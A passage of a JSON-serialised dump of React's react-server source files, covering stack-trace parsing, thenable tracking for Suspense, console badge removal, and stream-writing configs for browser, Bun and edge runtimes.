now, we just generate a default V8 formatted stack trace without\n  // source mapping as a fallback.\n  const name = error.name || 'Error';\n  const message = error.message || '';\n  let stack = name + ': ' + message;\n  for (let i = 0; i < structuredStackTrace.length; i++) {\n    stack += '\\n    at ' + structuredStackTrace[i].toString();\n  }\n  return stack;\n}\n\n// This matches either of these V8 formats.\n//     at name (filename:0:0)\n//     at filename:0:0\n//     at async filename:0:0\nconst frameRegExp =\n  /^ {3} at (?:(.+) \\((?:(.+):(\\d+):(\\d+)|\\<anonymous\\>)\\)|(?:async )?(.+):(\\d+):(\\d+)|\\<anonymous\\>)$/;\n\n// DEV-only cache of parsed and filtered stack frames.\nconst stackTraceCache: WeakMap<Error, ReactStackTrace> = __DEV__\n  ? new WeakMap()\n  : (null: any);\n\n// This version is only used when React fully owns the Error object and there's no risk of it having\n// been already initialized and no risky that anyone else will initialize it later.\nexport function parseStackTracePrivate(\n  error: Error,\n  skipFrames: number,\n): null | ReactStackTrace {\n  collectedStackTrace = null;\n  framesToSkip = skipFrames;\n  const previousPrepare = Error.prepareStackTrace;\n  Error.prepareStackTrace = collectStackTracePrivate;\n  try {\n    if (error.stack !== '') {\n      return null;\n    }\n  } finally {\n    Error.prepareStackTrace = previousPrepare;\n  }\n  return collectedStackTrace;\n}\n\nexport function parseStackTrace(\n  error: Error,\n  skipFrames: number,\n): ReactStackTrace {\n  // We can only get structured data out of error objects once. So we cache the information\n  // so we can get it again each time. It also helps performance when the same error is\n  // referenced more than once.\n  const existing = stackTraceCache.get(error);\n  if (existing !== undefined) {\n    return existing;\n  }\n  // We override Error.prepareStackTrace with our own version that collects\n  // the structured data. We need more information than the raw stack gives us\n  // and we need to ensure that we don't get the source mapped version.\n  collectedStackTrace = null;\n  framesToSkip = skipFrames;\n  const previousPrepare = Error.prepareStackTrace;\n  Error.prepareStackTrace = collectStackTrace;\n  let stack;\n  try {\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    stack = String(error.stack);\n  } finally {\n    Error.prepareStackTrace = previousPrepare;\n  }\n\n  if (collectedStackTrace !== null) {\n    const result = collectedStackTrace;\n    collectedStackTrace = null;\n    stackTraceCache.set(error, result);\n    return result;\n  }\n\n  // If the stack has already been read, or this is not actually a V8 compatible\n  // engine then we might not get a normalized stack and it might still have been\n  // source mapped. Regardless we try our best to parse it. This works best if the\n  // environment just uses default V8 formatting and no source mapping.\n\n  if (stack.startsWith('Error: react-stack-top-frame\\n')) {\n    // V8's default formatting prefixes with the error message which we\n    // don't want/need.\n    stack = stack.slice(29);\n  }\n  let idx = stack.indexOf('react_stack_bottom_frame');\n  if (idx !== -1) {\n    idx = stack.lastIndexOf('\\n', idx);\n  }\n  if (idx !== -1) {\n    // Cut off everything after the bottom frame since it'll be internals.\n    stack = stack.slice(0, idx);\n  }\n  const frames = stack.split('\\n');\n  const parsedFrames: ReactStackTrace = [];\n  // We skip top frames here since they may or may not be parseable but we\n  // want to skip the same number of frames regardless. I.e. we can't do it\n  // in the caller.\n  for (let i = skipFrames; i < frames.length; i++) {\n    const parsed = frameRegExp.exec(frames[i]);\n    if (!parsed) {\n      continue;\n    }\n    let name = parsed[1] || '';\n    let isAsync = parsed[8] === 'async ';\n    if (name === '<anonymous>') {\n      name = '';\n    } else if (name.startsWith('async ')) {\n      name = name.slice(5);\n      isAsync = true;\n    }\n    let filename = parsed[2] || parsed[5] || '';\n    if (filename === '<anonymous>') {\n      filename = '';\n    }\n    const line = +(parsed[3] || parsed[6]);\n    const col = +(parsed[4] || parsed[7]);\n    parsedFrames.push([name, filename, line, col, 0, 0, isAsync]);\n  }\n  stackTraceCache.set(error, parsedFrames);\n  return parsedFrames;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightThenable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Corresponds to ReactFiberWakeable and ReactFizzWakeable modules. Generally,\n// changes to one module should be reflected in the others.\n\n// TODO: Rename this module and the corresponding Fiber one to \"Thenable\"\n// instead of \"Wakeable\". Or some other more appropriate name.\n\nimport type {\n  Thenable,\n  PendingThenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\n\nimport {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';\n\nimport noop from 'shared/noop';\n\nexport type ThenableState = Array<Thenable<any>>;\n\n// An error that is thrown (e.g. by `use`) to trigger Suspense. If we\n// detect this is caught by userspace, we'll log a warning in development.\nexport const SuspenseException: mixed = new Error(\n  \"Suspense Exception: This is not a real error! It's an implementation \" +\n    'detail of `use` to interrupt the current render. You must either ' +\n    'rethrow it immediately, or move the `use` call outside of the ' +\n    '`try/catch` block. Capturing without rethrowing will lead to ' +\n    'unexpected behavior.\\n\\n' +\n    'To handle async errors, wrap your component in an error boundary, or ' +\n    \"call the promise's `.catch` method and pass the result to `use`.\",\n);\n\nexport function createThenableState(): ThenableState {\n  // The ThenableState is created the first time a component suspends. If it\n  // suspends again, we'll reuse the same state.\n  return [];\n}\n\nexport function trackUsedThenable<T>(\n  thenableState: ThenableState,\n  thenable: Thenable<T>,\n  index: number,\n): T {\n  const previous = thenableState[index];\n  if (previous === undefined) {\n    thenableState.push(thenable);\n    if (__DEV__ && enableAsyncDebugInfo) {\n      const stacks: Array<Error> =\n        (thenableState: any)._stacks || ((thenableState: any)._stacks = []);\n      stacks.push(new Error());\n    }\n  } else {\n    if (previous !== thenable) {\n      // Reuse the previous thenable, and drop the new one. We can assume\n      // they represent the same value, because components are idempotent.\n\n      // Avoid an unhandled rejection errors for the Promises that we'll\n      // intentionally ignore.\n      thenable.then(noop, noop);\n      thenable = previous;\n    }\n  }\n\n  // We use an expando to track the status and result of a thenable so that we\n  // can synchronously unwrap the value. Think of this as an extension of the\n  // Promise API, or a custom interface that is a superset of Thenable.\n  //\n  // If the thenable doesn't have a status, set it to \"pending\" and attach\n  // a listener that will update its status and result when it resolves.\n  switch (thenable.status) {\n    case 'fulfilled': {\n      const fulfilledValue: T = thenable.value;\n      return fulfilledValue;\n    }\n    case 'rejected': {\n      const rejectedError = thenable.reason;\n      throw rejectedError;\n    }\n    default: {\n      if (typeof thenable.status === 'string') {\n        // Only instrument the thenable if the status if not defined. If\n        // it's defined, but an unknown value, assume it's been instrumented by\n        // some custom userspace implementation. We treat it as \"pending\".\n        // Attach a dummy listener, to ensure that any lazy initialization can\n        // happen. Flight lazily parses JSON when the value is actually awaited.\n        thenable.then(noop, noop);\n      } else {\n        const pendingThenable: PendingThenable<T> = (thenable: any);\n        pendingThenable.status = 'pending';\n        pendingThenable.then(\n          fulfilledValue => {\n            if (thenable.status === 'pending') {\n              const fulfilledThenable: FulfilledThenable<T> = (thenable: any);\n              fulfilledThenable.status = 'fulfilled';\n              fulfilledThenable.value = fulfilledValue;\n            }\n          },\n          (error: mixed) => {\n            if (thenable.status === 'pending') {\n              const rejectedThenable: RejectedThenable<T> = (thenable: any);\n              rejectedThenable.status = 'rejected';\n              rejectedThenable.reason = error;\n            }\n          },\n        );\n      }\n\n      // Check one more time in case the thenable resolved synchronously\n      switch ((thenable: Thenable<T>).status) {\n        case 'fulfilled': {\n          const fulfilledThenable: FulfilledThenable<T> = (thenable: any);\n          return fulfilledThenable.value;\n        }\n        case 'rejected': {\n          const rejectedThenable: RejectedThenable<T> = (thenable: any);\n          throw rejectedThenable.reason;\n        }\n      }\n\n      // Suspend.\n      //\n      // Throwing here is an implementation detail that allows us to unwind the\n      // call stack. But we shouldn't allow it to leak into userspace. Throw an\n      // opaque placeholder value instead of the actual thenable. If it doesn't\n      // get captured by the work loop, log a warning, because that means\n      // something in userspace must have caught it.\n      suspendedThenable = thenable;\n      throw SuspenseException;\n    }\n  }\n}\n\n// This is used to track the actual thenable that suspended so it can be\n// passed to the rest of the Suspense implementation — which, for historical\n// reasons, expects to receive a thenable.\nlet suspendedThenable: Thenable<any> | null = null;\nexport function getSuspendedThenable(): Thenable<mixed> {\n  // This is called right after `use` suspends by throwing an exception. `use`\n  // throws an opaque value instead of the thenable itself so that it can't be\n  // caught in userspace. Then the work loop accesses the actual thenable using\n  // this function.\n  if (suspendedThenable === null) {\n    throw new Error(\n      'Expected a suspended thenable. This is a bug in React. Please file ' +\n        'an issue.',\n    );\n  }\n  const thenable = suspendedThenable;\n  suspendedThenable = null;\n  return thenable;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactServerConsoleConfigBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Keep in sync with ReactClientConsoleConfig\nconst badgeFormat = '%c%s%c';\n// Same badge styling as DevTools.\nconst badgeStyle =\n  // We use a fixed background if light-dark is not supported, otherwise\n  // we use a transparent background.\n  'background: #e6e6e6;' +\n  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +\n  'color: #000000;' +\n  'color: light-dark(#000000, #ffffff);' +\n  'border-radius: 2px';\n\nconst padLength = 1;\n\n// This mutates the args to remove any badges that was added by a FlightClient and\n// returns the name in the badge. This is used when a FlightClient replays inside\n// a FlightServer and we capture those replays.\nexport function unbadgeConsole(\n  methodName: string,\n  args: Array<any>,\n): null | string {\n  let offset = 0;\n  switch (methodName) {\n    case 'dir':\n    case 'dirxml':\n    case 'groupEnd':\n    case 'table': {\n      // These methods cannot be colorized because they don't take a formatting string.\n      // So we wouldn't have added any badge in the first place.\n      // $FlowFixMe\n      return null;\n    }\n    case 'assert': {\n      // assert takes formatting options as the second argument.\n      offset = 1;\n    }\n  }\n  const format = args[offset];\n  const style = args[offset + 1];\n  const badge = args[offset + 2];\n  if (\n    typeof format === 'string' &&\n    format.startsWith(badgeFormat) &&\n    style === badgeStyle &&\n    typeof badge === 'string'\n  ) {\n    // Remove our badging from the arguments.\n    let unbadgedFormat = format.slice(badgeFormat.length);\n    if (unbadgedFormat[0] === ' ') {\n      // Spacing added on the Client if the original argument was a string.\n      unbadgedFormat = unbadgedFormat.slice(1);\n    }\n    args.splice(offset, 4, unbadgedFormat);\n    return badge.slice(padLength, badge.length - padLength);\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactServerConsoleConfigPlain.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Keep in sync with ReactClientConsoleConfig\nconst badgeFormat = '[%s]';\nconst padLength = 1;\nconst pad = ' ';\n\n// This mutates the args to remove any badges that was added by a FlightClient and\n// returns the name in the badge. This is used when a FlightClient replays inside\n// a FlightServer and we capture those replays.\nexport function unbadgeConsole(\n  methodName: string,\n  args: Array<any>,\n): null | string {\n  let offset = 0;\n  switch (methodName) {\n    case 'dir':\n    case 'dirxml':\n    case 'groupEnd':\n    case 'table': {\n      // These methods cannot be colorized because they don't take a formatting string.\n      // So we wouldn't have added any badge in the first place.\n      // $FlowFixMe\n      return null;\n    }\n    case 'assert': {\n      // assert takes formatting options as the second argument.\n      offset = 1;\n    }\n  }\n  const format = args[offset];\n  const badge = args[offset + 1];\n  if (\n    typeof format === 'string' &&\n    format.startsWith(badgeFormat) &&\n    typeof badge === 'string' &&\n    badge.startsWith(pad) &&\n    badge.endsWith(pad)\n  ) {\n    // Remove our badging from the arguments.\n    let unbadgedFormat = format.slice(badgeFormat.length);\n    if (unbadgedFormat[0] === ' ') {\n      // Spacing added on the Client if the original argument was a string.\n      unbadgedFormat = unbadgedFormat.slice(1);\n    }\n    args.splice(offset, 4, unbadgedFormat);\n    return badge.slice(padLength, badge.length - padLength);\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactServerConsoleConfigServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Keep in sync with ReactClientConsoleConfig\nconst badgeFormat = '\\x1b[0m\\x1b[7m%c%s\\x1b[0m%c';\n// Same badge styling as DevTools.\nconst badgeStyle =\n  // We use a fixed background if light-dark is not supported, otherwise\n  // we use a transparent background.\n  'background: #e6e6e6;' +\n  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +\n  'color: #000000;' +\n  'color: light-dark(#000000, #ffffff);' +\n  'border-radius: 2px';\nconst padLength = 1;\n\n// This mutates the args to remove any badges that was added by a FlightClient and\n// returns the name in the badge. This is used when a FlightClient replays inside\n// a FlightServer and we capture those replays.\nexport function unbadgeConsole(\n  methodName: string,\n  args: Array<any>,\n): null | string {\n  let offset = 0;\n  switch (methodName) {\n    case 'dir':\n    case 'dirxml':\n    case 'groupEnd':\n    case 'table': {\n      // These methods cannot be colorized because they don't take a formatting string.\n      // So we wouldn't have added any badge in the first place.\n      // $FlowFixMe\n      return null;\n    }\n    case 'assert': {\n      // assert takes formatting options as the second argument.\n      offset = 1;\n    }\n  }\n  const format = args[offset];\n  const style = args[offset + 1];\n  const badge = args[offset + 2];\n  if (\n    typeof format === 'string' &&\n    format.startsWith(badgeFormat) &&\n    style === badgeStyle &&\n    typeof badge === 'string'\n  ) {\n    // Remove our badging from the arguments.\n    let unbadgedFormat = format.slice(badgeFormat.length);\n    if (unbadgedFormat[0] === ' ') {\n      // Spacing added on the Client if the original argument was a string.\n      unbadgedFormat = unbadgedFormat.slice(1);\n    }\n    args.splice(offset, 4, unbadgedFormat);\n    return badge.slice(padLength, badge.length - padLength);\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactServerStreamConfig.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable react-internal/prod-error-codes */\n\n// We expect that our Rollup, Jest, and Flow configurations\n// always shim this module with the corresponding host config\n// (either provided by a renderer, or a generic shim for npm).\n//\n// We should never resolve to this file, but it exists to make\n// sure that if we *do* accidentally break the configuration,\n// the failure isn't silent.\n\nthrow new Error('This module must be shimmed by a specific renderer.');\n"
  },
  {
    "path": "packages/react-server/src/ReactServerStreamConfigBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type Destination = ReadableStreamController;\n\nexport type PrecomputedChunk = Uint8Array;\nexport opaque type Chunk = Uint8Array;\nexport type BinaryChunk = Uint8Array;\n\nconst channel = new MessageChannel();\nconst taskQueue = [];\nchannel.port1.onmessage = () => {\n  const task = taskQueue.shift();\n  if (task) {\n    task();\n  }\n};\n\nexport function scheduleWork(callback: () => void) {\n  taskQueue.push(callback);\n  channel.port2.postMessage(null);\n}\n\nfunction handleErrorInNextTick(error: any) {\n  setTimeout(() => {\n    throw error;\n  });\n}\n\nconst LocalPromise = Promise;\n\nexport const scheduleMicrotask: (callback: () => void) => void =\n  typeof queueMicrotask === 'function'\n    ? queueMicrotask\n    : callback => {\n        LocalPromise.resolve(null).then(callback).catch(handleErrorInNextTick);\n      };\n\nexport function flushBuffered(destination: Destination) {\n  // WHATWG Streams do not yet have a way to flush the underlying\n  // transform streams. https://github.com/whatwg/streams/issues/960\n}\n\nconst VIEW_SIZE = 2048;\nlet currentView = null;\nlet writtenBytes = 0;\n\nexport function beginWriting(destination: Destination) {\n  currentView = new Uint8Array(VIEW_SIZE);\n  writtenBytes = 0;\n}\n\nexport function writeChunk(\n  destination: Destination,\n  chunk: PrecomputedChunk | Chunk | BinaryChunk,\n): void {\n  if (chunk.byteLength === 0) {\n    return;\n  }\n\n  if (chunk.byteLength > VIEW_SIZE) {\n    // this chunk may overflow a single view which implies it was not\n    // one that is cached by the streaming renderer. We will enqueu\n    // it directly and expect it is not re-used\n    if (writtenBytes > 0) {\n      destination.enqueue(\n        new Uint8Array(\n          ((currentView: any): Uint8Array).buffer,\n          0,\n          writtenBytes,\n        ),\n      );\n      currentView = new Uint8Array(VIEW_SIZE);\n      writtenBytes = 0;\n    }\n    destination.enqueue(chunk);\n    return;\n  }\n\n  let bytesToWrite = chunk;\n  const allowableBytes = ((currentView: any): Uint8Array).length - writtenBytes;\n  if (allowableBytes < bytesToWrite.byteLength) {\n    // this chunk would overflow the current view. We enqueue a full view\n    // and start a new view with the remaining chunk\n    if (allowableBytes === 0) {\n      // the current view is already full, send it\n      destination.enqueue(currentView);\n    } else {\n      // fill up the current view and apply the remaining chunk bytes\n      // to a new view.\n      ((currentView: any): Uint8Array).set(\n        bytesToWrite.subarray(0, allowableBytes),\n        writtenBytes,\n      );\n      // writtenBytes += allowableBytes; // this can be skipped because we are going to immediately reset the view\n      destination.enqueue(currentView);\n      bytesToWrite = bytesToWrite.subarray(allowableBytes);\n    }\n    currentView = new Uint8Array(VIEW_SIZE);\n    writtenBytes = 0;\n  }\n  ((currentView: any): Uint8Array).set(bytesToWrite, writtenBytes);\n  writtenBytes += bytesToWrite.byteLength;\n}\n\nexport function writeChunkAndReturn(\n  destination: Destination,\n  chunk: PrecomputedChunk | Chunk | BinaryChunk,\n): boolean {\n  writeChunk(destination, chunk);\n  // in web streams there is no backpressure so we can alwas write more\n  return true;\n}\n\nexport function completeWriting(destination: Destination) {\n  if (currentView && writtenBytes > 0) {\n    destination.enqueue(new Uint8Array(currentView.buffer, 0, writtenBytes));\n    currentView = null;\n    writtenBytes = 0;\n  }\n}\n\nexport function close(destination: Destination) {\n  destination.close();\n}\n\nconst textEncoder = new TextEncoder();\n\nexport function stringToChunk(content: string): Chunk {\n  return textEncoder.encode(content);\n}\n\nexport function stringToPrecomputedChunk(content: string): PrecomputedChunk {\n  const precomputedChunk = textEncoder.encode(content);\n\n  if (__DEV__) {\n    if (precomputedChunk.byteLength > VIEW_SIZE) {\n      console.error(\n        'precomputed chunks must be smaller than the view size configured for this host. This is a bug in React.',\n      );\n    }\n  }\n\n  return precomputedChunk;\n}\n\nexport function typedArrayToBinaryChunk(\n  content: $ArrayBufferView,\n): BinaryChunk {\n  // Convert any non-Uint8Array array to Uint8Array. We could avoid this for Uint8Arrays.\n  // If we passed through this straight to enqueue we wouldn't have to convert it but since\n  // we need to copy the buffer in that case, we need to convert it to copy it.\n  // When we copy it into another array using set() it needs to be a Uint8Array.\n  const buffer = new Uint8Array(\n    content.buffer,\n    content.byteOffset,\n    content.byteLength,\n  );\n  // We clone large chunks so that we can transfer them when we write them.\n  // Others get copied into the target buffer.\n  return content.byteLength > VIEW_SIZE ? buffer.slice() : buffer;\n}\n\nexport function byteLengthOfChunk(chunk: Chunk | PrecomputedChunk): number {\n  return chunk.byteLength;\n}\n\nexport function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {\n  return chunk.byteLength;\n}\n\nexport function closeWithError(destination: Destination, error: mixed): void {\n  // $FlowFixMe[method-unbinding]\n  if (typeof destination.error === 'function') {\n    // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n    destination.error(error);\n  } else {\n    // Earlier implementations doesn't support this method. In that environment you're\n    // supposed to throw from a promise returned but we don't return a promise in our\n    // approach. We could fork this implementation but this is environment is an edge\n    // case to begin with. It's even less common to run this in an older environment.\n    // Even then, this is not where errors are supposed to happen and they get reported\n    // to a global callback in addition to this anyway. So it's fine just to close this.\n    destination.close();\n  }\n}\n\nexport {createFastHashJS as createFastHash} from 'react-server/src/createFastHashJS';\n\nexport function readAsDataURL(blob: Blob): Promise<string> {\n  return new Promise((resolve, reject) => {\n    const reader = new FileReader();\n    // $FlowFixMe[incompatible-call]: We always expect a string result with readAsDataURL.\n    reader.onloadend = () => resolve(reader.result);\n    reader.onerror = reject;\n    reader.readAsDataURL(blob);\n  });\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactServerStreamConfigBun.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* global Bun */\n\nimport type {Writable} from 'stream';\n\ntype BunReadableStreamController = ReadableStreamController & {\n  end(): mixed,\n  write(data: Chunk | BinaryChunk): void,\n  error(error: Error): void,\n  flush?: () => void,\n};\n\ninterface MightBeFlushable {\n  flush?: () => void;\n}\n\nexport type Destination =\n  | BunReadableStreamController\n  | (Writable & MightBeFlushable);\n\nexport type PrecomputedChunk = string;\nexport opaque type Chunk = string;\nexport type BinaryChunk = $ArrayBufferView;\n\nexport function scheduleWork(callback: () => void) {\n  setTimeout(callback, 0);\n}\n\nexport const scheduleMicrotask = queueMicrotask;\n\nexport function flushBuffered(destination: Destination) {\n  // Bun direct streams provide a flush function.\n  // If we don't have any more data to send right now.\n  // Flush whatever is in the buffer to the wire.\n  if (typeof destination.flush === 'function') {\n    destination.flush();\n  }\n}\n\nexport function beginWriting(destination: Destination) {}\n\nexport function writeChunk(\n  destination: Destination,\n  chunk: PrecomputedChunk | Chunk | BinaryChunk,\n): void {\n  if (chunk.length === 0) {\n    return;\n  }\n\n  // $FlowFixMe[incompatible-call]: write() is compatible with both types in Bun\n  destination.write(chunk);\n}\n\nexport function writeChunkAndReturn(\n  destination: Destination,\n  chunk: PrecomputedChunk | Chunk | BinaryChunk,\n): boolean {\n  // $FlowFixMe[incompatible-call]: write() is compatible with both types in Bun\n  return !!destination.write(chunk);\n}\n\nexport function completeWriting(destination: Destination) {}\n\nexport function close(destination: Destination) {\n  destination.end();\n}\n\nexport function stringToChunk(content: string): Chunk {\n  return content;\n}\n\nexport function stringToPrecomputedChunk(content: string): PrecomputedChunk {\n  return content;\n}\n\nexport function typedArrayToBinaryChunk(\n  content: $ArrayBufferView,\n): BinaryChunk {\n  // TODO: Does this needs to be cloned if it's transferred in enqueue()?\n  return content;\n}\n\nexport function byteLengthOfChunk(chunk: Chunk | PrecomputedChunk): number {\n  return Buffer.byteLength(chunk, 'utf8');\n}\n\nexport function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {\n  return chunk.byteLength;\n}\n\nexport function closeWithError(destination: Destination, error: mixed): void {\n  // $FlowFixMe[incompatible-use]\n  // $FlowFixMe[method-unbinding]\n  if (typeof destination.error === 'function') {\n    // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n    destination.error(error);\n\n    // $FlowFixMe[incompatible-use]\n    // $FlowFixMe[method-unbinding]\n  } else if (typeof destination.destroy === 'function') {\n    // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n    destination.destroy(error);\n\n    // $FlowFixMe[incompatible-use]\n    // $FlowFixMe[method-unbinding]\n  } else if (typeof destination.close === 'function') {\n    // Earlier implementations doesn't support this method. In that environment you're\n    // supposed to throw from a promise returned but we don't return a promise in our\n    // approach. We could fork this implementation but this is environment is an edge\n    // case to begin with. It's even less common to run this in an older environment.\n    // Even then, this is not where errors are supposed to happen and they get reported\n    // to a global callback in addition to this anyway. So it's fine just to close this.\n    destination.close();\n  }\n}\n\nexport function createFastHash(input: string): number {\n  return Bun.hash(input);\n}\n\nexport function readAsDataURL(blob: Blob): Promise<string> {\n  return blob.arrayBuffer().then(arrayBuffer => {\n    const encoded = Buffer.from(arrayBuffer).toString('base64');\n    const mimeType = blob.type || 'application/octet-stream';\n    return 'data:' + mimeType + ';base64,' + encoded;\n  });\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactServerStreamConfigEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type Destination = ReadableStreamController;\n\nexport type PrecomputedChunk = Uint8Array;\nexport opaque type Chunk = Uint8Array;\nexport type BinaryChunk = Uint8Array;\n\nfunction handleErrorInNextTick(error: any) {\n  setTimeout(() => {\n    throw error;\n  });\n}\n\nconst LocalPromise = Promise;\n\nexport const scheduleMicrotask: (callback: () => void) => void =\n  typeof queueMicrotask === 'function'\n    ? queueMicrotask\n    : callback => {\n        LocalPromise.resolve(null).then(callback).catch(handleErrorInNextTick);\n      };\n\nexport function scheduleWork(callback: () => void) {\n  setTimeout(callback, 0);\n}\n\nexport function flushBuffered(destination: Destination) {\n  // WHATWG Streams do not yet have a way to flush the underlying\n  // transform streams. https://github.com/whatwg/streams/issues/960\n}\n\n// Chunks larger than VIEW_SIZE are written directly, without copying into the\n// internal view buffer. This must be at least half of Node's internal Buffer\n// pool size (8192) to avoid corrupting the pool when using\n// renderToReadableStream, which uses a byte stream that detaches ArrayBuffers.\nconst VIEW_SIZE = 4096;\nlet currentView = null;\nlet writtenBytes = 0;\n\nexport function beginWriting(destination: Destination) {\n  currentView = new Uint8Array(VIEW_SIZE);\n  writtenBytes = 0;\n}\n\nexport function writeChunk(\n  destination: Destination,\n  chunk: PrecomputedChunk | Chunk | BinaryChunk,\n): void {\n  if (chunk.byteLength === 0) {\n    return;\n  }\n\n  if (chunk.byteLength > VIEW_SIZE) {\n    // this chunk may overflow a single view which implies it was not\n    // one that is cached by the streaming renderer. We will enqueu\n    // it directly and expect it is not re-used\n    if (writtenBytes > 0) {\n      destination.enqueue(\n        new Uint8Array(\n          ((currentView: any): Uint8Array).buffer,\n          0,\n          writtenBytes,\n        ),\n      );\n      currentView = new Uint8Array(VIEW_SIZE);\n      writtenBytes = 0;\n    }\n    destination.enqueue(chunk);\n    return;\n  }\n\n  let bytesToWrite = chunk;\n  const allowableBytes = ((currentView: any): Uint8Array).length - writtenBytes;\n  if (allowableBytes < bytesToWrite.byteLength) {\n    // this chunk would overflow the current view. We enqueue a full view\n    // and start a new view with the remaining chunk\n    if (allowableBytes === 0) {\n      // the current view is already full, send it\n      destination.enqueue(currentView);\n    } else {\n      // fill up the current view and apply the remaining chunk bytes\n      // to a new view.\n      ((currentView: any): Uint8Array).set(\n        bytesToWrite.subarray(0, allowableBytes),\n        writtenBytes,\n      );\n      // writtenBytes += allowableBytes; // this can be skipped because we are going to immediately reset the view\n      destination.enqueue(currentView);\n      bytesToWrite = bytesToWrite.subarray(allowableBytes);\n    }\n    currentView = new Uint8Array(VIEW_SIZE);\n    writtenBytes = 0;\n  }\n  ((currentView: any): Uint8Array).set(bytesToWrite, writtenBytes);\n  writtenBytes += bytesToWrite.byteLength;\n}\n\nexport function writeChunkAndReturn(\n  destination: Destination,\n  chunk: PrecomputedChunk | Chunk | BinaryChunk,\n): boolean {\n  writeChunk(destination, chunk);\n  // in web streams there is no backpressure so we can alwas write more\n  return true;\n}\n\nexport function completeWriting(destination: Destination) {\n  if (currentView && writtenBytes > 0) {\n    destination.enqueue(new Uint8Array(currentView.buffer, 0, writtenBytes));\n    currentView = null;\n    writtenBytes = 0;\n  }\n}\n\nexport function close(destination: Destination) {\n  destination.close();\n}\n\nconst textEncoder = new TextEncoder();\n\nexport function stringToChunk(content: string): Chunk {\n  return textEncoder.encode(content);\n}\n\nexport function stringToPrecomputedChunk(content: string): PrecomputedChunk {\n  const precomputedChunk = textEncoder.encode(content);\n\n  if (__DEV__) {\n    if (precomputedChunk.byteLength > VIEW_SIZE) {\n      console.error(\n        'precomputed chunks must be smaller than the view size configured for this host. This is a bug in React.',\n      );\n    }\n  }\n\n  return precomputedChunk;\n}\n\nexport function typedArrayToBinaryChunk(\n  content: $ArrayBufferView,\n): BinaryChunk {\n  // Convert any non-Uint8Array array to Uint8Array. We could avoid this for Uint8Arrays.\n  // If we passed through this straight to enqueue we wouldn't have to convert it but since\n  // we need to copy the buffer in that case, we need to convert it to copy it.\n  // When we copy it into another array using set() it needs to be a Uint8Array.\n  return new Uint8Array(content.buffer, content.byteOffset, content.byteLength);\n}\n\nexport function byteLengthOfChunk(chunk: Chunk | PrecomputedChunk): number {\n  return chunk.byteLength;\n}\n\nexport function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {\n  return chunk.byteLength;\n}\n\nexport function closeWithError(destination: Destination, error: mixed): void {\n  // $FlowFixMe[method-unbinding]\n  if (typeof destination.error === 'function') {\n    // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n    destination.error(error);\n  } else {\n    // Earlier implementations doesn't support this method. In that environment you're\n    // supposed to throw from a promise returned but we don't return a promise in our\n    // approach. We could fork this implementation but this is environment is an edge\n    // case to begin with. It's even less common to run this in an older environment.\n    // Even then, this is not where errors are supposed to happen and they get reported\n    // to a global callback in addition to this anyway. So it's fine just to close this.\n    destination.close();\n  }\n}\n\nexport {createFastHashJS as createFastHash} from 'react-server/src/createFastHashJS';\n\nexport function readAsDataURL(blob: Blob): Promise<string> {\n  return blob.arrayBuffer().then(arrayBuffer => {\n    const encoded =\n      typeof Buffer === 'function' && typeof Buffer.from === 'function'\n        ? Buffer.from(arrayBuffer).toString('base64')\n        : btoa(String.fromCharCode.apply(String, new Uint8Array(arrayBuffer)));\n    const mimeType = blob.type || 'application/octet-stream';\n    return 'data:' + mimeType + ';base64,' + encoded;\n  });\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactServerStreamConfigFB.js",
